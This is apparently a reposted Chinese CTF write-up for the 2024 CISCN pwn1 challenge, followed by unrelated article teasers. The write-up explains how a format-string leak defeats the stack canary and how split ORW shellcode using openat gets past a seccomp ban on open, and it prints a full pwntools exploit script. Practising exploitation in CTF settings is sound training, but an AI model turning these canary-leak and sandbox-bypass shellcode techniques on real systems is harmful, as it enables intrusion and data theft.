【PWN · ret2shellcode | sandbox-bypass | 格式化字符串】[2024CISCN · 华东北赛区]pwn1_

一道栈+ret2shellcode+sandbox(seccomp)+格式化字符串的题目


前言

ret2shellcode,已经不是简单的放到栈上、ret这样一个简单的过程。套一层seccomp的沙箱,打ORW又遇到open受限等等,考虑的蛮多。过程中收获最多的可以说是汇编shellcode手动编写时的一些心得,还是跟着返璞归真师傅的wp复现,再次感谢!


一、题目分析

没有给libc,栈可执行、存在Canary

开启了沙箱,禁用了open函数

IDA分析,可以明显看到栈溢出、格式化字符串,且均可以反复触发

 格式化字符串显然是用来泄露绕过canary的,栈溢出+NX没开又显然是用来ret2shellcode的

二、解题

先写个交互函数方便交互

def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')

1.格式化字符串泄露Canary 

常规套路了,其实不必在此赘述

offset=8

然后脚本挂动态调试,看canary(泄露canary)、rbp(实质上是获取buf的地址,准备布局shellcode)是第几个参数的位置。

offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

 2.ret2shellcode

2.1 openat代替open

        由于开了沙箱,系统调用受限,orw的打法无疑,但是open被禁需要替换。查阅资料后发现openat可以一定程度上等价于open:

#open - flags
/*
O_ACCMODE       00000003
O_RDONLY        00000000
O_WRONLY        00000001
O_RDWR          00000002
O_CREAT         00000040
O_EXCL          00000080
O_NOCTTY        00000100
O_TRUNC         00000200
O_APPEND        00000400
O_NONBLOCK      00000800
O_DSYNC         00001000
FASYNC          00002000
O_NOFOLLOW      00020000
*/

 2.2 shellcode的布局 

之前已经知道能直接布局shellcode利用的buf空间为0x48,直接写长度大大超过

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

所以得想办法跨过canary、rbp、ret,构造shellcode

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))

 比较妙的几个点是

  1. 通过 mov register,addr;push register;ret的方式实现了定向跳转
  2. 将flag远远写到后面的栈空间,避免对shellcode干扰

三、完整exp

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./pwn1_')
gdb.attach(io);input()
def setName(name):
    io.recvuntil(b'2: get name')
    io.sendline(b'1')
    io.sendlineafter(b'->set name',name)

def getName(flag=True):
    io.recvuntil(b'2: get name')
    if flag:
        io.sendline(b'2')
        io.recvuntil(b'->get name')
    else:
        io.sendline(b'123')
    
offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

# shellcode分割开
shellcode=asm('''
              mov rax,0x67616c662f2e; //./flag
              push rax
              ; //openat(-100,'./flag',O_RDONLY)
              mov rdi,-100
              mov rsi,rsp
              xor rdx,rdx
              mov rax,257
              syscall
              ; //read(3,target_address,0x50)
              mov rdi,rax
              mov rsi,{}
              mov rdx,0x20
              xor rax,rax
              syscall
              mov rax,{}
              push rax
              ret
              '''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''
              ; //write(1,target_address,0x50)
              mov rdi,1
              mov rsi,{}
              mov rdx,0x50
              mov eax,1
              syscall
'''.format(buf+0x80))


setName(shellcode)
input('check')
getName(False)
io.interactive()


总结

做的时候这不会那不会,做完之后写博客,感觉很多都没必要写。。。菜就多练。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/776879.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

谷粒商城学习笔记-13-配置git-ssh-配置代码免密提交

文章目录 一,安装配置Git客户端1,下载git客户端安装包2,安装3,配置3.1,配置用户名3.2,配置邮箱3.3,配置详解 二,配置Git免密1,生成SSH密钥对2,Git配置公钥3&a…

Python数据分析-分子数据分析和预测

一、设计背景 分子结构设计与性质计算对研发新型高能量密度材料具有重要意义。机器学习作为一种大数据计算模型,可以避免复杂、危险的实验,大幅提高研发效率、降低设计和计算成本。本文基于机器学习的方法以及通过构建神经网络,实现对高能量…

HTTP协议格式

目录 正文: 1.概述 2.主要特点 3.请求协议格式 4.响应协议格式 5.响应状态码 总结: 正文: 1.概述 HTTP 协议是用于传输超文本数据(如 HTML)的应用层协议,它建立在传输层协议 TCP/IP 之上。当我们在…

无人机运营合格证及无人机驾驶员合格证(AOPA)技术详解

无人机运营合格证及无人机驾驶员合格证(AOPA)技术详解如下: 一、无人机运营合格证 无人机运营合格证是无人机运营企业或个人必须获得的证书,以确保无人机在运营过程中符合相关法规和标准。对于无人机运营合格证的具体要求和申请…

【计算机毕业设计】020基于weixin小程序订餐系统

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…

【Linux进阶】文件系统4——文件系统特性

1.磁盘组成与分区的复习 首先说明一下磁盘的物理组成,整块磁盘的组成主要有: 圆形的碟片(主要记录数据的部分);机械手臂,与在机械手臂上的磁头(可擦写碟片上的数据);主轴马达,可以…

Beats:使用 Filebeat 从 Python 应用程序中提取日志

本指南演示了如何从 Python 应用程序中提取日志并将其安全地传送到 Elasticsearch Service 部署中。你将设置 Filebeat 来监控具有标准 Elastic Common Schema (ECS) 格式字段的 JSON 结构日志文件,然后你将在 Kibana 中查看日志事件发生的实时可视化。虽然此示例使…

python基础语法 006 内置函数

1 内置函数 材料参考:内置函数 — Python 3.12.4 文档 Python 解释器内置了很多函数和类型,任何时候都能直接使用 内置函数有无返回值,是python自己定义,不能以偏概全说都有返回值 以下为较为常用的内置函数,欢迎补充…

【二】Ubuntu24虚拟机在Mac OS的VMware Fusion下无法联网问题

文章目录 1.环境背景2. 需求背景3. 解决方法3.1 在mac的终端查看虚拟机NAT网络3.2 查看unbuntu节点2的网络配置3.3 问题定位与解决3.3.1 检查是否有冲突3.3.2 冲突解决方法 4. 总结4.1 NAT 网关的原理4.2 VMware Fusion 的 NAT 模式4.3 为什么网关冲突会引起问题4.4 理解配置冲…

transformer初探

transformer初探 self-attentionmultihead-attentionencoderdecoder self-attention 其实就是三个矩阵, W q W_q Wq​、 W k W_k Wk​、 W v W_v Wv​,这三个矩阵就是需要训练的参数。分别得到每个token对应的 q q q k k k v v v,其中 q …

系统测试-测试方法学习

目录 (1)等价类 (2)边界值 (3)正交:(只用于确定排列组合,不确定具体内容) (4)判定表法 (5)流程分析法 (6&#xff0…

【vue组件库搭建04】使用vitepress搭建站点并部署到github

前言 基于vitePress搭建文档站点,使用github pages进行部署 安装VitePress 1.Node.js 18 及以上版本 2.npm add -D vitepress 3.npx vitepress init 4.将需要回答几个简单的问题: ┌ Welcome to VitePress! │ ◇ Where should VitePress initi…

Vue2基础 14:自定义指令

自定义指令 1 函数式1.1 案例--v-text放大10倍 2 对象式2.1 案例--v-fbind默认获取焦点(函数式)2.2 案例--v-fbind默认获取焦点(对象式) 3 自定义指令容易犯的错4 全局指令写法(参考过滤器写法)&#xff1a…

C51单片机程序及仿真(加减器)

🏆本文收录于「Bug调优」专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&…

AndroidKille更新apktool插件-cnblog

AndroidKiller不更新插件容易报错 apktool插件更新 网址 Releases iBotPeaches/Apktool (github.com) 找到apktool管理器 填入apktool位置,并输入apktool名字 选择默认的apktool版本 x掉,退出重启 可以看到反编译完成了 dex2jar 更新 网址 Release…

数据库-多表设计 多表查询

多表设计 一对多 一对多关系实现:在数据库表中多的一方,添加字段,来关联一的一方的主键 外键约束 -- 创建表时指定 create table 表名(字段名 数据类型,...[constraint] [外键名称] foreign key (外键字段名) references 主表…

帕金森患者饮食小贴士 满满的爱与关怀哦!

🍎 首先,要多吃水果和蔬菜!新鲜蔬果富含维生素和矿物质,对神经系统有很好的保护作用。🥦 特别是绿叶蔬菜,比如菠菜、生菜,它们都是健康的小天使!💚 🍲 其次&a…

vue2-vue3响应式原理

我们先来看一下响应式意味着什么?我们来看一段代码: m有一个初始化的值,有一段代码使用了这个值;那么在m有一个新的值时,这段代码可以自动重新执行; let m 20 console.log(m) console.log(m * 2)m 40上…

政策护航新能源助推绿色经济腾飞

随着全球气候变化问题日益严重,新能源行业的发展成为推动绿色经济腾飞的重要引擎。近年来,各国政府纷纷出台政策支持新能源产业,旨在激发行业活力,促进经济可持续发展。本文将从政策红利的角度,探讨新能源行业发展的现…

lnmp php7 安装ssh2扩展

安装ssh2扩展前必须安装libssh2包 下载地址: wget http://www.libssh2.org/download/libssh2-1.11.0.tar.gzwget http://pecl.php.net/get/ssh2-1.4.tgz (这里要换成最新的版本) 先安装 libssh2 再安装 SSH2: tar -zxvf libssh2-1.11.0.tar.gzcd libss…